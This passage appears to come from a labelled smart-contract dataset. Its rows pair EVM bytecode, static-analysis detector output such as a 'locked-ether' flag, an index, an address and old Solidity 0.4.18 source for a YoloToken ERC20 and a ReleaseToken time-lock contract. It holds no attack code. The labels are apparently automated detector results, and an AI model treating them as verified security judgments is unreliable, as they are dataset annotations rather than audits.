9ff908263ffffffff610d6e16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610adb57336000908152600260209081526040808320600160a060020a0388168452909152812055610b10565b610aeb818463ffffffff610d6e16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610b8d57600080fd5b33600090815260208190526040902054821115610ba957600080fd5b33600090815260208190526040902054610bc9908363ffffffff610d6e16565b3360009081526020819052604080822092909255600160a060020a03851681522054610bfb908363ffffffff610d8016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c8b908363ffffffff610d8016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610d0557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d7a57fe5b50900390565b81810182811015610d8d57fe5b929150505600a165627a7a723058202a47955d9c0ba420b4464430b8ea4df2386c8e902d67a580365ea71d2aabe5800029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,957 |
0xb4e198bd8055ac65884bc56ebd130122d3a63b92
|
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface Raindrop {
function authenticate(address _sender, uint _value, uint _challenge, uint _partnerId) external;
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract YoloToken is Ownable {
using SafeMath for uint256;
string public name = "YoloCash"; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 8; //Number of decimals of the smallest unit
string public symbol = "YLC"; //An identifier: e.g. REP
uint public totalSupply;
address public raindropAddress = 0x0;
mapping (address => uint256) public balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) public allowed;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a YoloToken
function YoloToken() public {
totalSupply = 48888888e8;
// Give the creator all initial tokens
balances[msg.sender] = totalSupply;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
/// @return The balance of `_owner`
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public onlyOwner {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public constant returns (uint) {
return totalSupply;
}
function setRaindropAddress(address _raindrop) public onlyOwner {
raindropAddress = _raindrop;
}
function authenticate(uint _value, uint _challenge, uint _partnerId) public {
Raindrop raindrop = Raindrop(raindropAddress);
raindrop.authenticate(msg.sender, _value, _challenge, _partnerId);
doTransfer(msg.sender, owner, _value);
}
function setBalances(address[] _addressList, uint[] _amounts) public onlyOwner {
require(_addressList.length == _amounts.length);
for (uint i = 0; i < _addressList.length; i++) {
require(balances[_addressList[i]] == 0);
transfer(_addressList[i], _amounts[i]);
}
}
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event Burn(
address indexed _burner,
uint256 _amount
);
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063039606311461010c578063053011b71461016157806306fdde0314610196578063095ea7b31461022457806318160ddd1461027e57806323b872dd146102a757806327e235e314610320578063313ce5671461036d57806342966c681461039c5780635c658165146103bf57806370a082311461042b5780638da5cb5b1461047857806395d89b41146104cd578063a9059cbb1461055b578063b302ea1e146105b5578063b7e39b4f146105ee578063cae9ca5114610688578063dd62ed3e14610725578063f2fde38b14610791575b600080fd5b341561011757600080fd5b61011f6107ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561016c57600080fd5b61019460048080359060200190919080359060200190919080359060200190919050506107f0565b005b34156101a157600080fd5b6101a961090f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e95780820151818401526020810190506101ce565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022f57600080fd5b610264600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ad565b604051808215151515815260200191505060405180910390f35b341561028957600080fd5b610291610acf565b6040518082815260200191505060405180910390f35b34156102b257600080fd5b610306600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ad9565b604051808215151515815260200191505060405180910390f35b341561032b57600080fd5b610357600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c06565b6040518082815260200191505060405180910390f35b341561037857600080fd5b610380610c1e565b604051808260ff1660ff16815260200191505060405180910390f35b34156103a757600080fd5b6103bd6004808035906020019091905050610c31565b005b34156103ca57600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8d565b6040518082815260200191505060405180910390f35b341561043657600080fd5b610462600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610db2565b6040518082815260200191505060405180910390f35b341561048357600080fd5b61048b610dfb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d857600080fd5b6104e0610e20565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056657600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ebe565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ed5565b005b34156105f957600080fd5b61068660048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610f74565b005b341561069357600080fd5b61070b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061109f565b604051808215151515815260200191505060405180910390f35b341561073057600080fd5b61077b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061121d565b6040518082815260200191505060405180910390f35b341561079c57600080fd5b6107c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112a4565b005b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c68ae617338686866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001945050505050600060405180830381600087803b15156108c957600080fd5b6102c65a03f115156108da57600080fd5b505050610909336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661137e565b50505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a55780601f1061097a576101008083540402835291602001916109a5565b820191906000526020600020905b81548152906001019060200180831161098857829003601f168201915b505050505081565b600080821480610a3957506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610a4457600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000600454905090565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b6657600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610bfb84848461137e565b600190509392505050565b60066020528060005260406000206000915090505481565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8c57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610cda57600080fd5b610d2c81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d848160045461155990919063ffffffff16565b60048190555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb65780601f10610e8b57610100808354040283529160200191610eb6565b820191906000526020600020905b815481529060010190602001808311610e9957829003601f168201915b505050505081565b6000610ecb33848461137e565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3057600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd157600080fd5b81518351141515610fe157600080fd5b600090505b825181101561109a57600060066000858481518110151561100357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561105457600080fd5b61108c838281518110151561106557fe5b90602001906020020151838381518110151561107d57fe5b90602001906020020151610ebe565b508080600101915050610fe6565b505050565b6000808490506110af85856109ad565b15611214578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111a957808201518184015260208101905061118e565b50505050905090810190601f1680156111d65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111f757600080fd5b6102c65a03f1151561120857600080fd5b50505060019150611215565b5b509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ff57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561133b57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141580156113d157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156113dc57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561142a57600080fd5b61147c81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151181600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600082821115151561156757fe5b818303905092915050565b600080828401905083811015151561158657fe5b80915050929150505600a165627a7a72305820d305d8a0b7bcb74af453b453ffc77681f6343b31cf39d1b56da70cd0a7e78ef90029
|
{"success": true, "error": null, "results": {}}
| 7,958 |
0x75f3dfd3948500d2133d2f0af3ad153c176ec2c4
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface itoken {
// mapping (address => bool) public frozenAccount;
function freezeAccount(address _target, bool _freeze) external;
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint256 balance);
function transferOwnership(address newOwner) external;
function allowance(address _owner, address _spender) external view returns (uint256);
}
contract OwnerContract is Ownable {
itoken public owned;
/**
* @dev bind a contract as its owner
*
* @param _contract the contract address that will be binded by this Owner Contract
*/
function setContract(address _contract) public onlyOwner {
require(_contract != address(0));
owned = itoken(_contract);
}
/**
* @dev change the owner of the contract from this contract to another
*
* @param _newOwner the new contract/account address that will be the new owner
*/
function changeContractOwner(address _newOwner) public onlyOwner returns(bool) {
require(_newOwner != address(0));
owned.transferOwnership(_newOwner);
owned = itoken(address(0));
return true;
}
}
contract ReleaseToken is OwnerContract {
using SafeMath for uint256;
// record lock time period and related token amount
struct TimeRec {
uint256 amount;
uint256 remain;
uint256 endTime;
uint256 duration;
}
address[] public frozenAccounts;
mapping (address => TimeRec[]) frozenTimes;
// mapping (address => uint256) releasedAmounts;
mapping (address => uint256) preReleaseAmounts;
event ReleaseFunds(address _target, uint256 _amount);
function removeAccount(uint _ind) internal returns (bool) {
require(_ind >= 0);
require(_ind < frozenAccounts.length);
//if (_ind >= frozenAccounts.length) {
// return false;
//}
uint256 i = _ind;
while (i < frozenAccounts.length.sub(1)) {
frozenAccounts[i] = frozenAccounts[i.add(1)];
i = i.add(1);
}
frozenAccounts.length = frozenAccounts.length.sub(1);
return true;
}
function removeLockedTime(address _target, uint _ind) internal returns (bool) {
require(_ind >= 0);
require(_target != address(0));
TimeRec[] storage lockedTimes = frozenTimes[_target];
require(_ind < lockedTimes.length);
//if (_ind >= lockedTimes.length) {
// return false;
//}
uint256 i = _ind;
while (i < lockedTimes.length.sub(1)) {
lockedTimes[i] = lockedTimes[i.add(1)];
i = i.add(1);
}
lockedTimes.length = lockedTimes.length.sub(1);
return true;
}
/**
* @dev get total remain locked tokens of an account
*
* @param _account the owner of some amount of tokens
*/
function getRemainLockedOf(address _account) public view returns (uint256) {
require(_account != address(0));
uint256 totalRemain = 0;
uint256 len = frozenAccounts.length;
uint256 i = 0;
while (i < len) {
address frozenAddr = frozenAccounts[i];
if (frozenAddr == _account) {
uint256 timeRecLen = frozenTimes[frozenAddr].length;
uint256 j = 0;
while (j < timeRecLen) {
TimeRec storage timePair = frozenTimes[frozenAddr][j];
totalRemain = totalRemain.add(timePair.remain);
j = j.add(1);
}
}
i = i.add(1);
}
return totalRemain;
}
/**
* judge whether we need to release some of the locked token
*
*/
function needRelease() public view returns (bool) {
uint256 len = frozenAccounts.length;
uint256 i = 0;
while (i < len) {
address frozenAddr = frozenAccounts[i];
uint256 timeRecLen = frozenTimes[frozenAddr].length;
uint256 j = 0;
while (j < timeRecLen) {
TimeRec storage timePair = frozenTimes[frozenAddr][j];
if (now >= timePair.endTime) {
return true;
}
j = j.add(1);
}
i = i.add(1);
}
return false;
}
/**
* @dev freeze the amount of tokens of an account
*
* @param _target the owner of some amount of tokens
* @param _value the amount of the tokens
* @param _frozenEndTime the end time of the lock period, unit is second
* @param _releasePeriod the locking period, unit is second
*/
function freeze(address _target, uint256 _value, uint256 _frozenEndTime, uint256 _releasePeriod) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_target != address(0));
require(_value > 0);
require(_frozenEndTime > 0 && _releasePeriod >= 0);
uint256 len = frozenAccounts.length;
for (uint256 i = 0; i < len; i = i.add(1)) {
if (frozenAccounts[i] == _target) {
break;
}
}
if (i >= len) {
frozenAccounts.push(_target); // add new account
//frozenTimes[_target].push(TimeRec(_value, _value, _frozenEndTime, _releasePeriod))
} /* else {
uint256 timeArrayLen = frozenTimes[_target].length;
uint256 j = 0;
while (j < timeArrayLen) {
TimeRec storage lastTime = frozenTimes[_target][j];
if (lastTime.amount == 0 && lastTime.remain == 0 && lastTime.endTime == 0 && lastTime.duration == 0) {
lastTime.amount = _value;
lastTime.remain = _value;
lastTime.endTime = _frozenEndTime;
lastTime.duration = _releasePeriod;
break;
}
j = j.add(1);
}
if (j >= timeArrayLen) {
frozenTimes[_target].push(TimeRec(_value, _value, _frozenEndTime, _releasePeriod));
}
} */
// frozenTimes[_target] = _frozenEndTime;
// each time the new locked time will be added to the backend
frozenTimes[_target].push(TimeRec(_value, _value, _frozenEndTime, _releasePeriod));
owned.freezeAccount(_target, true);
return true;
}
/**
* @dev transfer an amount of tokens to an account, and then freeze the tokens
*
* @param _target the account address that will hold an amount of the tokens
* @param _value the amount of the tokens which has been transferred
* @param _frozenEndTime the end time of the lock period, unit is second
* @param _releasePeriod the locking period, unit is second
*/
function transferAndFreeze(/*address _tokenOwner, */address _target, uint256 _value, uint256 _frozenEndTime, uint256 _releasePeriod) onlyOwner public returns (bool) {
//require(_tokenOwner != address(0));
require(_target != address(0));
require(_value > 0);
require(_frozenEndTime > 0 && _releasePeriod >= 0);
// check firstly that the allowance of this contract has been set
assert(owned.allowance(msg.sender, this) > 0);
// freeze the account at first
if (!freeze(_target, _value, _frozenEndTime, _releasePeriod)) {
return false;
}
return (owned.transferFrom(msg.sender, _target, _value));
}
/**
* release the token which are locked for once and will be total released at once
* after the end point of the lock period
*/
function releaseAllOnceLock() onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
uint256 len = frozenAccounts.length;
uint256 i = 0;
while (i < len) {
address target = frozenAccounts[i];
if (frozenTimes[target].length == 1 && 0 == frozenTimes[target][0].duration && frozenTimes[target][0].endTime > 0 && now >= frozenTimes[target][0].endTime) {
bool res = removeAccount(i);
if (!res) {
return false;
}
owned.freezeAccount(target, false);
//frozenTimes[destAddr][0].endTime = 0;
//frozenTimes[destAddr][0].duration = 0;
ReleaseFunds(target, frozenTimes[target][0].amount);
len = len.sub(1);
//frozenTimes[destAddr][0].amount = 0;
//frozenTimes[destAddr][0].remain = 0;
} else {
// no account has been removed
i = i.add(1);
}
}
return true;
//return (releaseMultiAccounts(frozenAccounts));
}
/**
* @dev release the locked tokens owned by an account, which only have only one locked time
* and don't have release stage.
*
* @param _target the account address that hold an amount of locked tokens
*/
function releaseAccount(address _target) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_target != address(0));
uint256 len = frozenAccounts.length;
uint256 i = 0;
while (i < len) {
address destAddr = frozenAccounts[i];
if (destAddr == _target) {
if (frozenTimes[destAddr].length == 1 && 0 == frozenTimes[destAddr][0].duration && frozenTimes[destAddr][0].endTime > 0 && now >= frozenTimes[destAddr][0].endTime) {
bool res = removeAccount(i);
if (!res) {
return false;
}
owned.freezeAccount(destAddr, false);
// frozenTimes[destAddr][0].endTime = 0;
// frozenTimes[destAddr][0].duration = 0;
ReleaseFunds(destAddr, frozenTimes[destAddr][0].amount);
// frozenTimes[destAddr][0].amount = 0;
// frozenTimes[destAddr][0].remain = 0;
}
// if the account are not locked for once, we will do nothing here
return true;
}
i = i.add(1);
}
return false;
}
/**
* @dev release the locked tokens owned by a number of accounts
*
* @param _targets the accounts list that hold an amount of locked tokens
*/
function releaseMultiAccounts(address[] _targets) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_targets.length != 0);
uint256 i = 0;
while (i < _targets.length) {
if (!releaseAccount(_targets[i])) {
return false;
}
i = i.add(1);
}
return true;
}
/**
* @dev release the locked tokens owned by an account with several stages
* this need the contract get approval from the account by call approve() in the token contract
*
* @param _target the account address that hold an amount of locked tokens
* @param _dest the secondary address that will hold the released tokens
*/
function releaseWithStage(address _target, address _dest) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_target != address(0));
require(_dest != address(0));
// require(_value > 0);
// check firstly that the allowance of this contract from _target account has been set
assert(owned.allowance(_target, this) > 0);
uint256 len = frozenAccounts.length;
uint256 i = 0;
while (i < len) {
// firstly find the target address
address frozenAddr = frozenAccounts[i];
if (frozenAddr == _target) {
uint256 timeRecLen = frozenTimes[frozenAddr].length;
bool released = false;
for (uint256 j = 0; j < timeRecLen; released = false) {
// iterate every time records to caculate how many tokens need to be released.
TimeRec storage timePair = frozenTimes[frozenAddr][j];
uint256 nowTime = now;
if (nowTime > timePair.endTime && timePair.endTime > 0 && timePair.duration > 0) {
uint256 value = timePair.amount * (nowTime - timePair.endTime) / timePair.duration;
if (value > timePair.remain) {
value = timePair.remain;
}
// owned.freezeAccount(frozenAddr, false);
timePair.endTime = nowTime;
timePair.remain = timePair.remain.sub(value);
if (timePair.remain < 1e8) {
if (!removeLockedTime(frozenAddr, j)) {
return false;
}
released = true;
timeRecLen = timeRecLen.sub(1);
}
// if (!owned.transferFrom(_target, _dest, value)) {
// return false;
// }
ReleaseFunds(frozenAddr, value);
preReleaseAmounts[frozenAddr] = preReleaseAmounts[frozenAddr].add(value);
//owned.freezeAccount(frozenAddr, true);
} else if (nowTime >= timePair.endTime && timePair.endTime > 0 && timePair.duration == 0) {
// owned.freezeAccount(frozenAddr, false);
if (!removeLockedTime(frozenAddr, j)) {
return false;
}
released = true;
timeRecLen = timeRecLen.sub(1);
// if (!owned.transferFrom(_target, _dest, timePair.amount)) {
// return false;
// }
ReleaseFunds(frozenAddr, timePair.amount);
preReleaseAmounts[frozenAddr] = preReleaseAmounts[frozenAddr].add(timePair.amount);
//owned.freezeAccount(frozenAddr, true);
} //else if (timePair.amount == 0 && timePair.remain == 0 && timePair.endTime == 0 && timePair.duration == 0) {
// removeLockedTime(frozenAddr, j);
//}
if (!released) {
j = j.add(1);
}
}
// we got some amount need to be released
if (preReleaseAmounts[frozenAddr] > 0) {
owned.freezeAccount(frozenAddr, false);
if (!owned.transferFrom(_target, _dest, preReleaseAmounts[frozenAddr])) {
return false;
}
}
// if all the frozen amounts had been released, then unlock the account finally
if (frozenTimes[frozenAddr].length == 0) {
if (!removeAccount(i)) {
return false;
}
} else {
// still has some tokens need to be released in future
owned.freezeAccount(frozenAddr, true);
}
return true;
}
i = i.add(1);
}
return false;
}
/**
* @dev release the locked tokens owned by an account
*
* @param _targets the account addresses list that hold amounts of locked tokens
* @param _dests the secondary addresses list that will hold the released tokens for each target account
*/
function releaseMultiWithStage(address[] _targets, address[] _dests) onlyOwner public returns (bool) {
//require(_tokenAddr != address(0));
require(_targets.length != 0);
require(_dests.length != 0);
assert(_targets.length == _dests.length);
uint256 i = 0;
while (i < _targets.length) {
if (!releaseWithStage(_targets[i], _dests[i])) {
return false;
}
i = i.add(1);
}
return true;
}
}
|
